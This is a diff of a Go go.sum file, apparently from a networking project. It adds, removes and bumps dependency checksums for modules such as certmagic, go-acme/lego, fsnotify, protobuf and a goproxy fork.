+github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/OpenDNS/vegadns2client v0.0.0-20180418235048-a3fa4a771d87/go.mod h1:iGLljf5n9GjT6kc0HBvyI1nOKnGQbNB66VzSNbK5iks=
github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo=
github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI=
@@ -27,16 +61,19 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
github.com/aliyun/alibaba-cloud-sdk-go v0.0.0-20190808125512-07798873deee/go.mod h1:myCDvQSzCW+wB1WAlocEru4wMGJxy+vlxHdhegi1CDQ=
github.com/aliyun/aliyun-oss-go-sdk v0.0.0-20190307165228-86c17b95fcd5/go.mod h1:T/Aws4fEfogEE9v+HPhhw+CntffsBHJ8nXQCwKr0/g8=
github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
-github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/aws/aws-sdk-go v1.23.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
github.com/baiyubin/aliyun-sts-go-sdk v0.0.0-20180326062324-cfa1a18b161f/go.mod h1:AuiFmCCPBSrqvVMvuqFuk0qogytodnVFVSN5CeJB8Gc=
+github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8=
+github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
+github.com/caddyserver/certmagic v0.16.1 h1:rdSnjcUVJojmL4M0efJ+yHXErrrijS4YYg3FuwRdJkI=
+github.com/caddyserver/certmagic v0.16.1/go.mod h1:jKQ5n+ViHAr6DbPwEGLTSM2vDwTO6EvCKBblBRUvvuQ=
github.com/cenkalti/backoff/v3 v3.0.0 h1:ske+9nBpD9qZsTBoF41nW5L+AIuFBKMeze18XQ3eG1c=
github.com/cenkalti/backoff/v3 v3.0.0/go.mod h1:cIeZDE3IrqwwJl6VUwCN6trj1oXrTS4rc0ij+ULvLYs=
github.com/census-instrumentation/opencensus-proto v0.2.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
-github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
+github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8=
@@ -45,11 +82,9 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWs
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cloudflare/cloudflare-go v0.10.2/go.mod h1:qhVI5MKwBGhdNU89ZRz2plgYutcJ5PCekLxXn56w6SY=
-github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
-github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
-github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
-github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
-github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
+github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
+github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
+github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cpu/goacmedns v0.0.1/go.mod h1:sesf/pNnCYwUevQEQfEwY0Y3DydlQWSGZbaMElOWxok=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -57,28 +92,35 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/decker502/dnspod-go v0.2.0/go.mod h1:qsurYu1FgxcDwfSwXJdLt4kRsBLZeosEb9uq4Sy+08g=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
-github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/dimchansky/utfbom v1.1.0/go.mod h1:rO41eb7gLfo8SF1jd9F8HplJm1Fewwi4mQvIirEdv+8=
github.com/dnaeon/go-vcr v0.0.0-20180814043457-aafff18a5cc2/go.mod h1:aBB1+wY4s93YsC3HHjMBMrwTj2R9FHDzUr9KyGc8n1E=
github.com/dnsimple/dnsimple-go v0.30.0/go.mod h1:O5TJ0/U6r7AfT8niYNlmohpLbCSG+c71tQlGr9SeGrg=
github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs=
github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU=
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
-github.com/elazarl/goproxy v0.0.0-20190911111923-ecfe977594f1 h1:yY9rWGoXv1U5pl4gxqlULARMQD7x0QG85lqEXTWysik=
-github.com/elazarl/goproxy v0.0.0-20190911111923-ecfe977594f1/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2 h1:dWB6v3RcOy03t/bUadywsbyrQwCqZeNIEX6M1OtSZOM=
github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
+github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
+github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
+github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
+github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
+github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
+github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/exoscale/egoscale v0.18.1/go.mod h1:Z7OOdzzTOz1Q1PjQXumlz9Wn/CddH0zSYdCF3rnBKXE=
-github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
-github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
+github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
+github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=
-github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI=
+github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-acme/lego/v3 v3.1.0 h1:yanYFoYW8azFkCvJfIk7edWWfjkYkhDxe45ZsxoW4Xk=
github.com/go-acme/lego/v3 v3.1.0/go.mod h1:074uqt+JS6plx+c9Xaiz6+L+GBb+7itGtzfcDM2AhEE=
github.com/go-cmd/cmd v1.0.5/go.mod h1:y8q8qlK5wQibcw63djSl/ntiHUHXHGdCkPk0j4QeW4s=
github.com/go-errors/errors v1.0.1/go.mod h1:f4zRHt4oKfwPJE5k8C9vpYG+aDHdBFUsgrm6/TyX73Q=
+github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-ini/ini v1.44.0/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
@@ -87,40 +129,72 @@ github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/me
github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
-github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/goji/httpauth v0.0.0-20160601135302-2da839ab0f4d/go.mod h1:nnjvkQ9ptGaCkuDUx6wNykzzlUixGxvkme+H/lnzb+A=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
-github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
+github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
+github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
+github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
+github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
+github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
+github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
+github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
+github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
+github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
+github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
+github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
+github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
+github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
+github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g=
github.com/gophercloud/gophercloud v0.3.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
-github.com/gorilla/mux v1.6.2 h1:Pgr17XVTNXAk3q/r4CpKzC5xBM/qW1uVLV+IhRZpIIk=
github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw=
github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
-github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
-github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
-github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
github.com/grpc-ecosystem/grpc-gateway v1.8.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
-github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplbc8s8sSb3V2oUCygFHVp8gC3Dn6U4MNI=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
@@ -128,22 +202,28 @@ github.com/hashicorp/golang-lru v0.5.3/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uG
github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
+github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
+github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/iij/doapi v0.0.0-20190504054126-0bbf12d6d7df/go.mod h1:QMZY7/J/KSQEhKWFeDesPjMj+wCHReeknARU3wqlyN4=
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE=
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
-github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/json-iterator/go v1.1.5/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
+github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
-github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
+github.com/kgretzky/goproxy v0.0.0-20220622134552-7d0e0c658440 h1:2B7/pxomcOdEXRg1b40AkROGPkSn+uu31aAgoeKQtlQ=
+github.com/kgretzky/goproxy v0.0.0-20220622134552-7d0e0c658440/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
+github.com/klauspost/cpuid/v2 v2.1.0 h1:eyi1Ad2aNJMW95zcSbmGg7Cg6cq3ADwLpMAP96d8rF0=
+github.com/klauspost/cpuid/v2 v2.1.0/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
github.com/kolo/xmlrpc v0.0.0-20190717152603-07c4ee3fd181/go.mod h1:o03bZfuBwAXHetKXuInt4S7omeXUu62/A845kiycsSQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
@@ -152,27 +232,33 @@ github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/labbsr0x/bindman-dns-webhook v1.0.2/go.mod h1:p6b+VCXIR8NYKpDr8/dg1HKfQoRHCdcsROXKvmoehKA=
github.com/labbsr0x/goh v1.0.1/go.mod h1:8K2UhVoaWXcCU7Lxoa2omWnC8gyW8px7/lmO61c027w=
